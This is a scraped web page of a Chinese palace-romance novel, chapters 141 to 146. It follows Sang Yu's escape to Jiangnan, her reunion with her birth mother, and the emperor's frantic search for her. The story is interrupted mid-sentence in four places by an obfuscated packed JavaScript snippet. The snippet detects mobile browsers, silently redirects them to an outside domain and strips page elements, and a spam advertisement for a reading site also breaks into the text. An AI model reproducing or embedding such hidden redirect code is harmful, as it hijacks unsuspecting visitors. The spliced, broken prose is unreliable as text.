明明初见时,他还是个话都说不利索的公子,还帮着她挂小像。 马车忽然一个颠簸,桑余身子一晃。 李识衍下意识伸手扶住她的手臂,又很快松开。 “睡一会吧。 说全网首发无弹窗免费阅读caixs.com?(请来才小 说 看最新章节 完整章节)他说,“路还长。 桑余微顿,问:“我师父呢? 李识衍说:“他回北狄了,不用担心,等他到了会有消息。 桑余点点头,终于松了一口气死靠在车壁闭上眼睛。 李识衍看着她的呼吸渐渐平稳,这才敢让目光长久地停留在她脸上。 晨光透过车帘的缝隙漏进来,在她苍白的脸上投下细碎的光影。 车轮辘辘,向南而去。 第141章 此事不能让陆晚宁知晓 祁蘅的病好的差不多了。 他坐在乾清宫里,身边都是宫人妃子,可他却觉得冷清寂寥。说不上哪里不对,就觉得自己好像身处在巨大无望的一片黑暗中,连接下来要做什么都不知道。 直到赵德全问他:“陛下,是否要派人跟着桑姑娘?” 祁蘅回过神来,想到她已经离开这件事,就觉得胸口失重。 他故作轻松的说:“她一个人能去哪儿?等她在长安城转一圈,觉得没意思了,自己就回来了。” 况且她是武功废了,可做暗卫时的警觉还在。 如果让她发现自己派人跟着,心里定是又会看不起他。 毕竟在她走时,自己说过那么多决绝的话。 是他不要她了。 他才不要先低头。 祁蘅又问:“况且,之前赏赐给她的那些东西她大抵也都带走了,身上不会缺银两,不必那么担心。” 赵德全怔忡了一下。 **该不该说,桑余没在长安城停留一刻,早就已经出城了。 而且她什么细软金银也没带,就孑然一身的走了。 …… 祁蘅将这几天堆积的折子看完,夜里闲来无事,又去了冷宫。 以前母亲被废弃后住过的冷宫,也是他和桑余幼时相依为命长大的地方。 他指尖摩挲着那块碎裂的玉佩,这玉佩是桑余亲手还给他的。 月光透过残破的窗棂,将斑驳的影子投在祁蘅苍白的脸上。 “母妃.”他对着空荡荡的殿宇喃喃自语,有些茫然:“您说过,只要把扰乱心绪的人送走,心就会定下来。” 可为什么胸腔里像被人生生剜去一块? 为什么还是这么难过? 桑余用十一年的委曲求全,换一个昭妃之位和一生荣华富贵,已经是占了便宜,她到底还在贪心什么? 她若是没有被我母妃捡到,桑余这样的女人,祁蘅这辈子都不会看一眼。 她还是不知足…… 赵德全提着灯笼寻来,远远看见祁蘅一个人坐在院子里发呆,他顿了顿,问:“陛下,礼部来问今年选秀,是否还按旧例进行?” 祁蘅回过神来,他没心思选什么秀女。 “不用…… ” 但他又顿住,不知是想到了什么,说:“选,自然大选。” 等听到自己大选秀女的消息满城皆知,看那个女人还能不能安心自得的在宫外待下去。 “如果……”祁蘅又说:“朕是说如果,过段时间桑余回来,不要拦着。” 赵德全尚未应声,外面忽然传来急促的脚步。 “陛下,臣有要事启奏!” 祁蘅和赵德全从废宫出来,只见季远安跪在门口:“陛下!今日一早,有百姓在城门官道发现了户部陆侍郎的尸首!" 祁蘅握着玉佩的手猛的顿住,眸色渗出危险。 “你是说,陆淮安**?” 季远安重重点头:“尸首是在官道旁林子里发现的,心口中箭。箭簇淬了南疆蛇毒,恐怕是被细作而杀。” 夜风吹动枯叶,在庭院里打着旋。 月光照在祁蘅半边脸上,另一半隐在阴影中,看不出情绪,他微微挑眉,不知在想什么。 “陛下?”赵德全小声提醒。 祁蘅回过神,忽然笑了。 他越过季远安径直往乾清宫的方向而去,叹了一句:“倒是省了朕自己动手。” 季远安猛地抬头,又迅速低下。 他没明白祁蘅这话的意思。 “**息。”祁蘅转身往殿内走,玄色衣摆扫过石阶,“陆贵妃有孕在身,受不得惊,此事绝不能让她知道。” 这句话说得温情,语气却极为凉薄。 如今,陆贵妃这是不知兄长惨死,甚至还要操持六宫和选秀事宜。 赵德全后颈寒毛直竖,记得当年先帝驾崩时,祁蘅在灵前也是这般神情。 季远安心里庆幸,幸好桑余离开了这样凉薄的皇城,离开了……这样凉薄的祁蘅。 * 宿州是商道要塞,这里的夜市比长安还要热闹。 桑余刚下马车,就被扑面而来的嘈杂人声惊得愣了一愣。 十一年来,她都听惯了宫墙内刻意压低的私语,可街上的人们放声大笑,接踵摩肩相错而过,桑余觉得太阳穴突突直跳。 李识衍扶她下车,见她不对劲,问:“怎么了?” 桑余摇了摇头,跳了下来:“我们去哪儿?” 李识衍笑起来时,一双干净的眼睛弯弯的:“赶了一天一夜的路,你想吃好吃的么?” 桑余点了点头。 桑余安静的跟着李识衍走在人群里,有些不安的垂着眼,有人靠近也十分警惕。 在宫里待了这么多年,她已经把这些小心和防范刻进了骨子里。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799197|175043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 李识衍脚步一顿,回头看向她。 他知道她在害怕。 于是他伸出手,圈住了桑余的手腕。 桑余蓦然僵住,彷徨错愕的看着李识衍。 “夫子,你……男女授受不亲,这样于理不合。” “我妹妹小时候也怕人多。”李识衍牵着她穿过人群,“总要这样牵着才肯走,你就当,我是哥哥。” 桑余怔了怔。 月光下李识衍的侧脸镀着银边,睫毛在眼下投出小片阴影,不知道是不是想起了什么难过的事,他似乎有些落寞。 “令妹是你跟我说过的,叫沈星么?”桑余轻声问。 李识衍说:“她不止是……” 话未说完,人潮忽然涌动。 沿街表演杂耍的武夫喷出一口烈火,火苗乍起,惊起一片尖叫。 桑余突然被吓到了,她下意识就去摸腰间的**。 “桑余!”李识衍急忙捏住她那只手,转身挡住她的视线,宽袖如屏风般展开,把她护在身前:“是杂耍而已,你别怕。” 桑余这才放下心来,她草木皆兵惯了,来到这个世间,就像是恶鬼闯入人间,与一切事物都脱节了。 李识衍知道她在害怕什么。 于是他带着去了另一条人少的街景,又给她买了甜饼糖水,看到什么都带着她买。 桑余有些受不住,就说自己已经吃饱了。 李识衍还给她买,说:“你尝一口就好,什么都尝了,将来我就知道你喜欢吃什么。” 桑余有些微愣。 此时此刻,如果说她是闯入人间的恶鬼,李识衍就像是领路的灯笼。 “前头有卖河灯的,你要不要放一盏?” 河岸边挤满年轻姑娘,她们嬉笑着把莲花灯推入水中。 烛光映着胭脂,比御花园最艳丽的牡丹还要鲜活。 “我帮姑娘写愿望吧?”卖灯的老妪递来毛笔。 桑余盯着空白的纸条发愣。 她……她最大的愿望就是出宫,不会再宫中绝望而死,如今愿望已经实现了,所以一时也想不起来还能写什么。 “我来。”李识衍接过笔,背过身去写了几个字。 莲花灯顺流而下时,河光化为细细碎碎地亮光在桑余脸上微晃。 她鬼使神差地问:“你写了什么?” 李识衍望着渐远的灯火,嘴角噙着笑:“希望有人能真正开心起来。” 第142章 忘了皇宫里的一切 京城,长乐宫。 陆晚宁抚着已经越发隆起的小腹,心满意足的扬起了笑。 而今肚子里的孩子过了三个月也终于稳了下来,所有对自己有威胁的人也都消失了。 如今一切尘埃落地。 只要桑余走了,时间一长,她还是会占满祁蘅的心。 等到孩子落地,一切都是水到渠成。 她,会是南元朝的皇后。 青黛从外面进来,把东西妥帖的递了上去:“娘娘,这是这批秀女的名册。” 她声音轻柔,眼神却冷了下去:“放那儿吧。” 祁蘅要纳妃这件事,陆晚宁虽然不情愿,但为了装大度,还是尽心尽力的操持着选秀女的事情。 正是因为后宫无后,陆晚宁又算是祁蘅最信任的嫔妃,那便是唯一执掌后宫之人。 她谋划着,该如何让这一批的秀女都为她所用,得她操控。 绝不能再有任何一个狐媚子影响自己和祁蘅的关系。 只是,哥哥去杀桑余,怎么连着好几日都没消息? 莫不是出了什么事情? “青黛?” 青黛走了进来,陆晚宁心绪不宁的吩咐道:“派人去一趟哥哥的府邸,看看他在不在。” 别又是被桑余那个**迷了心智,手下留情。 哥哥办事一向牢靠,除了在桑余面前,总是会出差错。 —— 桑余推开船舱的雕花木窗,湿润的风裹着荷香扑面而来。 晨雾中的青瓦白墙像浸在水墨里,船娘吴侬软语的调子荡过水面,惊起一行水鸟。 这一路水路交加,几天几夜的,终于到了苏州。 李识衍刚到江南的地界就开始忙了起来。 扬州这几年**频出,周遭几地也饱受牵连,这是先帝时遗留下来的问题,祁蘅登基时短,手下可用之人颇少,终于等到李识衍接手江南刺史,所以这些问题也就都落在了他的头上。 但他虽忙,却是将桑余照顾的极为妥帖。 租最好的船,总是在船上备着香软的点心,桑余夜里睡不好,就给她燃安神香……这些止乎礼的关心,桑余刚开始不习惯,甚至有些抵触,但架不住李识衍一定要给,她也只能顺其自然。 下了船,外面下着朦胧细雨,李识衍给她撑伞。 马车早已在侯着了,两个人往岸边走去,李识衍捏着伞柄的手微微用力。 他突然语重心长的问:“桑余,你信我吗? 桑余不知道他为什么突然这样问。 但想起这一路上李识衍的关照,点了点头,“信的。 “好,我带你去见一个人。 江南的雨来得突然,一会儿就大了起来。 桑余站在客栈的窗前,看着青石板路上匆匆撑起的油纸伞,像一朵朵突然绽放的花。 她伸出手,雨滴落在掌心,凉丝丝的,却不会觉得冷。 桑余收回手,对李识衍说:“这里的雨和长安不一样。 李识衍上前,还是怕她的手会凉,给她披了一件衣服:“长安的雨是冷的,江南的雨,是活的。 雨是活的。 他说的对,离开皇宫后的一切,对于桑余而言都是活的,好像能滋养万物,也让她**的心重新活了过来。 “换身衣裳吧?李识衍指了指床上的包袱,小心翼翼的:“都是让人新买的,应该合身。 桑余打开包袱,里面是一套杏子红的衣裙,料子轻软,绣着细小的白梅。 她怔了怔,自己还从没穿过这个颜色的衣服, 祁蘅一直以为她喜欢穿鹅黄色的衣服,其实不是桑余喜欢,只是因为宫服就是鹅黄色的,她除了鹅黄色也穿不了其他。 “不喜欢?李识衍有些紧张,“店家说这是江南时兴的样式,我还以为…… 桑余摇头,手指轻轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799198|175043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抚过衣料:“很好看,谢谢李公子。 李识衍松了一口气,他点点头:“喜欢就好。我……在外面等你。 门关上后,桑余换上了那套衣裙。 “桑余,好了么?门外传来李识衍的声音。 桑余把袖子往下扯了扯,想要把手上的伤都遮住,她深吸一口气,推开了门。 李识衍抬头,看见桑余的那一刻,眼中闪过惊艳。 “看来那个掌柜是个诚信人。 桑余愣住:“什么意思? “你穿上,的确很好看。 他的阿星,穿红色一向很好看。 桑余浅浅的笑了笑说:“走吧。” 雨已经小了李识衍撑开一把青竹伞 这次她没有躲闪安静地走在伞下。 江南的巷子弯弯绕绕白墙黑瓦间偶尔探出一枝竹叶雨后的空气里飘着淡淡的花香。 “我们要见的人是谁?”桑余终于问出心中的疑问。 李识衍脚步未停:“你的一个故人。” “我的故人?” 江南她是第一次来她怎么会有故人在这里。 “是……师父吗?” 伞微微倾斜几滴雨水落在李识衍肩头。他沉默片刻轻声道:“桑余以后皇宫里所有的人都将会从你的生命里抹去包括沈康我说过会让你重新开始。” 桑余这是第一次看到李识衍眼中这样沉重和复杂的悲冷像是对自己的心疼。 她正想追问李识衍突然停下脚步。 面前是一座不起眼的小院门楣上挂着一块牌匾刻着“沈府”二字。 门吱呀一声开了条缝露出一双狡黠漂亮的的眼睛。 “是李公子!” 是个少女的声音。 “嗯。” 门被打开开门的是个十五六岁的丫鬟圆脸杏眼诧异的看着眼前的桑余。 “玲珑告诉夫人人我带回来了。” 第143章 去找桑余 两个人跟着玲珑进了府邸,一路穿过曲折的回廊,青石板路被雨水浸得发亮。 桑余紧紧跟着李识衍,心中不免疑虑,一到苏州他就带自己来这里,说是要见故人。 可她知道孤儿,哪里还有什么故人? 玲珑推开主院的门,请桑余和李识衍进去,只是没走几步,一声清脆的碎裂声骤然响起。 桑余步子猛的停住。 她抬头,透过李识衍,看到不远的厅内站着好些人。 有一为首的妇人,约莫五十岁上下,就是她手中的青瓷茶盏摔碎在脚边,茶水溅湿了她的裙角,她也浑然不觉。 只是径直望向自己这里。 那妇人一双杏眼瞪得极大,泪水不断从眼眶滚落,顺着颤抖的面颊滑下。 她嘴唇哆嗦着,似乎想说什么,却只发出几个破碎的音节。 妇人向前踉跄了两步,被身旁的丫鬟慌忙扶住。 “夫、夫人当心……” 桑余不自觉地后退了半步,那妇人的目光太过炽热,好像是在……盯着看自己。 “阿星……” 妇人终于挤出一声呼唤,那声音像是从胸腔最深处挤出来的,带着十二年的思念与痛楚。 “是我的阿星,长得和小时候一模一样!” 一旁稍微年轻些的红衣夫人扶住了她,勉强的安抚:“嫂嫂,别着急,不如先看看,毕竟隔了这么多年……” 妇人摇头,格外坚定:“是她,就是她,我还认不出阿星么?” 桑余心头猛地一颤,见妇人哭红了眼的样子,不知为何自己也眼眶发热。 她转头看向李识衍,声音里带着自己都没察觉的慌乱:“这位夫人是……” 李识衍说:“是沈夫人。” “可她为何这样看我?”桑余低声问,手指无意识地绞紧了衣袖,“她是你的亲人,还是……认错人了?” 李识衍没有立即回答,而是轻轻扶住她的手臂,低声道:“我们去见见她。” 沈夫人已经挣脱旁边红衣妇人的搀扶,跌跌撞撞地向她走来。 桑余注意到她走路时右腿有些不便,却依然固执地向前。 没走几步,沈夫人突然停下,颤抖的手捂住嘴,泪水更加汹涌。 “眼睛……这双眼睛……”沈夫人哽咽着说“和你父亲一模一样……” “父亲”这两个陌生的字眼一下子重重的击在了桑余的心上。 她只感到一阵眩晕廊下的风突然变得刺骨冻得她浑身冰凉。 她下意识地想要退开却在半途被李识衍轻轻握住。 “别怕。”他低声说掌心温暖滚烫让她冰凉的手掌缓缓回温“沈夫人没认错你去看看她?” 桑余在这个陌生的地方唯一能信任的人只有这一路走来的李识衍了。 她信李识衍。 桑余深吸一口气缓缓抬眼迎上沈夫人期盼的目光。 却不知该如何回应。 她应该说什么?该如何解释这位夫人认错了人? 可心底深处有个细小的声音在问:如果她没认错呢? 二夫人急忙打破了沉默:“嫂嫂外头风大请贵客进屋说话吧。” 沈夫人如梦初醒慌忙用袖子擦了擦眼泪:“是快快进屋!” 桑余的手被沈夫人紧紧攥住被拉进厅内。 “来坐这儿。”沈夫人拉着桑余在主位旁的红木椅上坐下自己却站着不肯落座仿佛怕一眨眼她就会消失似的。 桑余默默地环视一周除了方才地二夫人屋内约莫还有十余人有老有少神色各异。 尤其是坐在侧主位的沈府二房沈齐鹰钩鼻薄嘴唇眼神阴鸷地扫过桑余那目光或许是想吓唬吓唬桑余。 却没想到桑余不但没有被吓到竟还反过来看着他。 看来这个丫头还真有点东西。 沈齐正想着目光却无意间与李识衍相交他心中一惊这才急忙收起。 他讪讪开口冷声道:“大嫂此事非同小可岂能凭外貌相似就断定她是阿星?毕竟十二年了……” “二弟!”沈夫人声音陡然拔高方才的柔弱一扫而空“我自己的女儿 沈夫人又泣不成声一把将桑余搂入怀中。 桑余僵在当场鼻尖萦绕着沈夫人身上淡淡的檀香。 这气息莫名熟悉像是深埋在记忆深处的碎片突然浮出水面。 阿星……是谁?是她么? 沈齐隐隐冷笑:“大哥去世后,沈家产业一直由我打理。就算是真的沈星,谁知道,在外流浪这么多年,能否还担得起我沈家嫡女的身份,接手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799199|175043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这些生意。” 桑余听出沈齐对自己的排斥。 可她现在最重要的,是还没搞明白面前的一切。 …… 祁蘅下了朝,便往回乾清宫去了。 赵德全跟在身后,禀告道:“陆贵妃派人来请,说她……宫中炎热,她这几日茶饭不食……” “朕去了她就能吃的下饭了?”祁蘅语气轻慢,略带疲颓:“让御膳房给她多备些冰食便是。” 赵德全颔首,正要去安排,祁蘅忽然又叫住了他。 “陛下可还有要事吩咐?” 祁蘅想起一事,便问道:“昨日,有人入住了清梧院?” 赵德全心里暗道完了,他就知道祁蘅会过问此事。 可……此事也并非是他一个奴才想拦就能拦得住的,是陆晚宁一定要将人放置在清梧院的,说空着也是空着。 赵德全擦了擦冷汗,说道:“是,新进宫的李才人和孙宝林住进了清梧院。” 祁蘅闭了闭眼,咬牙道:“你不知道清梧院……” 若是有一日桑余回来了,她还是要住的! 眼看祁蘅正要发脾气,赵德全忙补道:“是贵妃娘娘安排,陛下若是不喜,老奴这就叫二位娘娘移驾别处!” 原来是陆晚宁。 祁蘅眉眼微微舒缓,虽敛去了几分怒气,却还是有些不高兴:“那昨日,朕瞧见从清梧院,怎么搬出来那么多东西?” 祁蘅远远瞧见,都是些金银细软。 赵德全道:“回陛下,是原先……您给桑夫人的赏赐之物。” 祁蘅步子猛的顿住,他缓缓回头,以为自己听错了:“你说什么?” 见赵德全吞吞吐吐,祁蘅眉头紧锁,缓缓走近:“你的意思是,桑余根本没有拿朕赏给她的金银?” 赵德全沉沉的点头。 祁蘅的身子一下子软了。 她没拿那些银两,孑然一身就出宫了? 已经十五日了,也就是说这十五日……她什么也没带,那拿什么在外面过活? “去找。” 赵德全没听清楚:“陛下您说什么?” 祁蘅一把捞起他的衣领,眸色泛红,声音发冷:“朕说,去找桑余!” 赵德全惊诧不已,忙不迭的点头:“是……是陛下!” 第144章 陆淮安的秘密被发现了 夜色如墨,宫灯在风中摇曳,将祁蘅的身影拉得细长而扭曲。 他大步流星地穿过重重宫门,衣袍翻飞间带起一阵冷风。 赵德全小跑着跟在后面,大气都不敢出。 “陛下,您慢些走,可要保重龙体啊……” 祁蘅充耳不闻,径直推开内务府的大门。 两个值夜的小太监吓得跪伏在地,额头抵着冰冷的青砖。 祁蘅的声音冷得像冰:“清梧院搬出来的东西放在何处?” “回、回陛下,在……在西厢库房……” 祁蘅一把推开西厢房门,月光透过窗棂,斑驳地洒在一排排木箱上。 箱锁完好,积了一层薄灰。 祁蘅的手指微微发抖,颤抖的取掉锁扣。 “咔嗒”一声,箱盖掀起。 月光下,整整齐齐码放着的,是他这些年赏赐给桑余的所有物件。 有一个不起眼的簪子,是当年祁蘅初得先帝重用时,祁蘅高兴的不行,特意给她送的。 还有当初贺贞寿礼上,他特意让人给桑余制的云锦宫装。 所有的东西,都在这里。 祁蘅的呼吸突然变得急促,他疯了一般翻找着,直到在箱底摸到一个小盒子。 盒子打开,里面是那把断成两半的木梳。 前年生辰,他送给桑余的第一件正式的生辰礼物,也是唯一被她用过的物件。 “她什么都没带走……”祁蘅喃喃自语,拿起那把断梳。 “她怎么会什么都没带走?” 赵德全在门外听见箱盖重重合上的声响,接着是瓷器碎裂的声音。 他壮着胆子探头,只见祁蘅站在一地狼藉中,手中紧握着那把断梳,指节泛白。 “陛下……” “滚出去。” 赵德全慌忙退下,他不敢回头,只轻轻带上了门。 祁蘅缓缓跪坐在狼藉中,断梳抵在眉心。 半晌,他又抬起希冀的目光,小心猜想。 她没带这些东西走,是不是说明……说明她还打算回来? 可是,可是十五日了。 十五日了她都没有回来。 她是真的走了? 真的不打算要这些东西了 。 也不打算要他了? 窗外,一轮孤月高悬。祁蘅猛地起身,断梳收入袖中:“赵德全! 老太监连滚带爬地进来:“老奴在! “传朕口谕,御林军、五城兵马司……全部出动,就算翻遍整个京城……祁蘅的声音突然哽住,半晌才继续道,“也要把桑余找回来! “是,老奴这就去办。只是……赵德全欲言又止。 “说。 “可是……可是桑姑娘走的当日,便已经离开了京城啊! 祁蘅的身子猛地一晃,扶住案几才稳住身形,声音里带着难以置信的颤抖:“你说什么?她出城了?什么时候的事? 赵德全额头抵地:“回陛下,就是桑姑娘离宫那日……她哪里也没停留,径直就出了城。 “为什么不早说?!祁蘅一把掀翻案几,东西砸在地上发出巨响。 “陛下恕罪! 祁蘅一把揪住赵德全的衣领,眼底泛着骇人的血丝:“去找!她身无分文,走不了多远! …… 与此同时,长乐宫内。 陆晚宁倚在贵妃榻上,正在准备孩童的衣物,连鞋子都是用上好的布料制成。 青黛忽然慌慌张张跑进来,重重的跪在地上,整个人瑟瑟发抖。 陆晚宁险些受惊,不悦地蹙眉:“这么晚了,闹什么动静?惊了本宫的胎气你担待得起吗? “娘娘恕罪!青黛抬起头,脸色惨白如纸,“是、是陆府出事了……陆大人他…… 陆晚宁手中的东西滚落在地:“兄长怎么了? 青黛抖得如筛糠,仿佛听到了什么惊悚的事:“陆府挂满了白孝,听闻十几日前,有人下葬! “胡说!陆晚宁猛地站起,肚子却突然一阵抽痛,不得不扶着桌角缓缓坐下,“兄长上月还来看望我和肚子里的孩子,怎会……你胡说,若是就算出了事,陛下怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799200|175043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会不告诉我? 青黛把头狠狠扣在地上说道:“奴婢没有胡说!是真的,可是奴婢问了周边的百姓,却都说不知道具体…… 一旁的红菱也跟着一起跪下,只是眼中闪 过一丝冷意。 陆晚宁捂着肚子重重的跌落在榻上。 她突然想到什么,瞳孔骤缩,“难道是……他去杀桑余的路上出了什么事? —— 乾清宫内,烛火摇曳。 祁蘅将桑余留下的物件一一摆在龙案上,失神的看着,眼里都是困惑。 “你为什么……为什么什么念想都不带走?是打算,把朕从你的世界里全部抹除干净么? “你真就……这么决绝? 赵德全小心翼翼地在门外禀报:“陛下,季大人求见,说有要事。 祁蘅头也不抬:“宣。 季远安风尘仆仆地进来,身上还带着夜露的湿气。 他行礼后低声道:“陆侍郎的后事已安排妥当,按陛下吩咐,简易发丧。 “嗯。祁蘅淡淡应了一声,手指抚过断梳的裂痕,“我知道了,退下吧。 季远安却没离开,他犹豫片刻,迟疑道:“臣在整理陆大人遗物时,发现了一间暗屋…… 祁蘅的手突然顿住。 “什么? 季远安喉头微动,掌心收紧,似是羞于启齿,又似乎……隐忍着怒气。 “陛下不如,亲自去看。 祁蘅看着季远安,缓缓的危险的拧起眉。 半个时辰后,祁蘅就站在了陆府的暗室中。 季远安掌灯,屋子缓缓亮起,逐渐清晰。 祁蘅看过去,只见整个屋子,四周的墙上,都挂满了桑余的画像。 她在梅树下赏雪、在廊下煮茶、在月夜弹琴……每一幅都栩栩如生,衣着轻薄,神色暧昧,甚至轻浮。 祁蘅挑了挑眉,眼中闪过阴郁的冷意。 他走过去指尖轻轻抚过画中桑余的眉眼,烛火在他眼中投下摇曳的阴影。 季远安站在一旁,只觉得脊背发寒。 第145章 陆府被烧了 祁蘅忽然抬手,猛地扯下一幅画。 画的是很像,也难怪曾经的陆淮安被称为京城第一才子。 只是…… 祁蘅看着画像上人,近在咫尺,但他却清楚的知道,这分明不是他的阿余。 形像,神不像。 这些,应该都是陆淮安自己臆想出的,阿余从不会做这些附庸风雅的事情,也不会对着陆淮安笑,更不会穿这种俗气的衣服…… 祁蘅忽然冷笑出声,一把将那副画撕成了两半。 他的臣子,原来每日待在府里,就是在画他的妃子? “陛下......”季远安想说什么,却见祁蘅缓缓转过头来,眼底翻涌着病态的暗色。 “你说......”祁蘅的声音轻得近乎温柔,“陆淮安画这些的时候,是不是在想,有朝一日能把她锁在这里,日日观赏?” 季远安喉结滚动,不敢应答。 祁蘅却低笑起来,笑声越来越冷,越来越疯,最后竟像是从胸腔里挤出的嘶哑喘息。 他猛地一脚踹翻了案几,笔墨纸砚砸落一地,墨汁溅在那些画上,污了所有的话。 “他配吗?”祁蘅的声音陡然阴冷,近乎嘶哑,“他也配觊觎朕的人?!” 季远安知道,陆淮安画这些画,目的无非就是一个,那就是用肮脏的想法亵渎肖想桑余。 “陛下息怒,微臣会处置干净……” 祁蘅不等他说完,就抓起烛台,火焰在暗室中划出一道刺目的弧线,直接点燃了最近的一幅画。 火舌瞬间吞噬了画中桑余的侧脸,映得祁蘅眼中一片猩红。 季远安大惊:“陛下!这屋子——” “烧了。”祁蘅冷冷地打断他,看着火势蔓延,映得他半边脸如恶鬼般阴冷,“整个陆府,全部烧干净。” 祁蘅转身走出暗室,衣袍在火光中翻飞如夜鸦。 他站在庭院中央,看着火舌从窗口窜出,映红了半边夜空。 “传朕口谕,今后京城,再无陆家,残余陆氏,永世不得返京。” —— 江南的夜,细雨如丝。 桑余倚在雕花木窗边,看外面的细雨,灯火盈盈,她有些茫然。 “所以,我不是孤儿……”她轻声重复着,“我有母亲,我有家?” “嗯,”李识衍声音很轻,不厌其烦的为她解释,是又怕她害怕:“你就是沈星。” 桑余将这两个字单独琢磨,原来,她不是多余的“余”,是“星”,挂在天上发光发亮,每一颗都独一无二的星。 桑余转过头,湿漉漉的眸子映着烛火。 她看着眼前的李识衍。 那李识衍又是她的谁? 他对自己好,不是因为师父,而是因为他认出了自己?他做这么多事将自己带出宫,对自己这一路的好,都因为,他认出了自己? 她声音发颤,“可为什么我会流落京城?为什么我什么都不记得?” 李识衍的手指微微收紧。 他不打算瞒着她真相,但桑余现在还无法接受这一切,得等她慢慢适应。 否则,这一夜之间,她不仅知道自己并非孤女,又得知自己报恩的惠嫔是害死父亲的罪魁祸首,她敬重的师父是帮凶,她心里一定会很难过。 李识衍不想让她难过。 “以后告诉你。”他最终只是这样说,将一旁药碗递给她,“先把药喝了,你身子还虚。” 桑余接过碗,苦涩的药味钻入鼻腔。 她喝过很多很苦的药,这些都已经习惯了,所以并没有半分犹豫就一口饮尽。 只是,还是难受的皱起了眉。 桑余睁开眼,准备放下碗,却忽然看见面前有一颗蜜饯。 李识衍探究的看她,小心询问:“是不是太苦了?给你备了蜜饯。” 他语气就像哄小孩子。 他的眼神也像小孩子。 桑余眼神定定的望着李识衍,有些无措,又缓缓看向他掌心的蜜饯,心中什么东西微微一动。 第一次,有人这样在意她,甚至怕她喝药会苦。 桑余拿起蜜饯放入口中,甜意在舌尖化开,很快冲淡了药的苦涩。 她笑了笑,仿佛因为那丝甜意,瞳仁都亮了几分。 “谢谢。” 李识衍看见她这样乖巧,唇角忍不住,微不可察地弯了弯,却又很快收敛。 “赶了这么多天的路,是不是累了,累了就快睡,等你醒了,我会把过去的事一件件讲给你听,陪着你一起想起来。” 他伸手替她掖了掖被角,动作轻柔。 他低声道,“我就在外面,有事唤我。” 桑余点了点头。 李识衍起身,离开时轻轻带上了门,外面,雨下得更大了。 李识衍刚走出回廊,就看见沈夫人站在庭院里的柳树下,衣裙已被雨水打湿。 “伯母,这么晚了,您怎么……” “阿星睡了吗?”沈夫人打断他,急切的询问。 李识衍点点头:“嗯。” 沈夫人关切道:“那她喝药了么?这屋子可住的习惯?被褥用的舒服吗?若是薄了,我再叫人去添一床……” 李识衍无奈的笑了笑,打断了沈夫人的话:“她喝药了,一切都还习惯,伯母不必忧心。” 沈夫人怔了怔,缓缓的点了点头。 “她很怕我。”沈夫人苦笑,“和以前不一样了。小时候,她总爱粘着我……” “是。”李识衍望向桑余的窗口,“她经历了……很多,我们都给她一点时间,让她慢慢接受。” 沈夫人忽然抓住他的手,眼睛里盈满了泪水:“识衍,这些年多亏有你。若不是你一直不放弃寻找,我们母女恐怕此生都不得相认……” 李识衍垂下眼,回头望了一眼桑余的房间,说:“是我太慢,叫她受了那么多苦。” 如果他再早些找到她,她经受的苦楚就会少一些。 也不至于她拖着病颓的身子,这么多年,只身一人过的这么艰难。 沈夫人擦掉眼泪,念叨:“回来就好,回来就好……” “如今阿星已经回来了,李家和沈家当初的婚书都还在。”李识衍直视沈夫人的眼睛,“我们的婚事,便该准备了。” 沈夫人一怔,惊诧地睁大眼睛:“可她现在什么都不记得,甚至不认得你……这会不会太快?” 李识衍的指尖微微发颤,雨水顺着他的眉骨滑落,眼角顿时浮起微红。 “可这些年如果她没有遭受这些,沈家没有遭受大难……” 李识衍的声音沙哑得厉害,喉间像是压着千钧重量,“我们早就是夫妻了。” 沈夫人怔住,看着他泛红的眼眶,心中震撼。 雨大了,砸在青石板上,溅起细碎的水花。 “伯母,你不明白我心中有多怕。我生怕明日一醒来,阿星又不见了,这几日的一切都是一场梦。” “她不怕我,你不知道我有多高兴,说明她骨子里还是对我不排斥,她一定会想起我。” “我等了十二年,找了十二年。”李识衍抬起眼,眸中翻涌着刻骨的痛与恨,“我们本该在许多年前,就在一起的!” 第146章 我是你的妻子? 